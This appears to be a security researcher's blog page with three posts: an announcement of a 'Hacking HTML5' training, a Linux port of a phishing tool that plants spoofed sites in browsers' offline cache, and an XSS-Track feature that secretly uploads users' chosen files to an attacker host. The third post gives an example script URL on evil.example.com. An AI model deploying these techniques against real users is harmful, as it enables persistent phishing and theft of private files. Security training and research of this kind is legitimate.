"Hacking HTML5" training

If you'd like to know a little more about HTML5 & security, in January I will be giving a one-day training with Niebezpiecznik.pl entitled "Hacking HTML5".

Topics covered:

• New XSS vectors in HTML5
• Cross Origin Resource Sharing
• Cross Document Messaging
• XMLHttpRequest Level 2
• Offline cache & other client-side storages
• Web SQL
• Web sockets
• Clickjacking with HTML5
• Geolocation

... and others. Several vulnerabilities and attacks will be taught together with instructions on how to implement above features securely. Many existing HTML5-related tools (e.g. by Lavakumark Kuppan of andlabs.org or some of mine) will be presented. Special attention will be put to HTML5 features that may break existing legacy HTML4/XHTML applications.

We will be attacking and defending a prepared social networking application.

The training is targetted to:

• webdevelopers
• pentesters
• and all other hackers

If you're interested and able to come to Cracow this January, read more about the program & register. Contact me and maybe we can arrange some discounts for the training ;)

Squid-imposter: Phishing websites forever with HTML5 offline cache

Recently I've been doing some HTML5 hacking and I encountered Imposter by Lavakumar Kuppan. It's a framework to perform browser phishing attacks - a tool that integrates a DNS server, a web server and a configuration utility running on Windows machine. Once a victim connects to Imposter (e.g. through a rogue WiFi access point) it tries to e.g. steal his cookies, inject payloads into chosen websites etc. There is also a module that uses HTML5 offline cache to store the payload permanently in all supporting browsers. It's a pretty clever framework, but it requires Windows.

I've decided to take away the HTML5 offline cache storage functionality and port it to Linux. The result is presented here as Squid-imposter. Now you can easily spoof websites that will be stored in victim's browser cache forever.

XSS-Track now steals your uploaded files with HTML5 power!

HTML5, broadly speaking (actually it's XMLHttpRequest Level 2, not being part of HTML5 spec, but who cares?) has yet another neat feature: it allows you to send files through AJAX requests. Of course, cross domain communication is also possible. Which is generally a good thing... unless you have an XSS on your site that can now capture files you intend to upload and send them also to a third-party server.

Which is exactly what I have done in newest XSS-Track. Now you can append files=1 parameter to script URL (e.g. http://evil.example.com/track.js?files=1 ) and it will monitor the site for any <input type="file" /> elements. When you change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type) and file contents to log.php.

As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.

Support

This works also for <input type="file" multiple />. Currently supporting browsers that I'm aware of are:

• Chrome,
  
• FF 3.6 (meta-data only)
  
• FF 4.0
  
• ... and many more in the future as HTML5 is coming :)
  

Of course, if a browser doesn't support AJAX file upload, it will stay quiet. The log.php script will store the files in captured_files subdirectory.
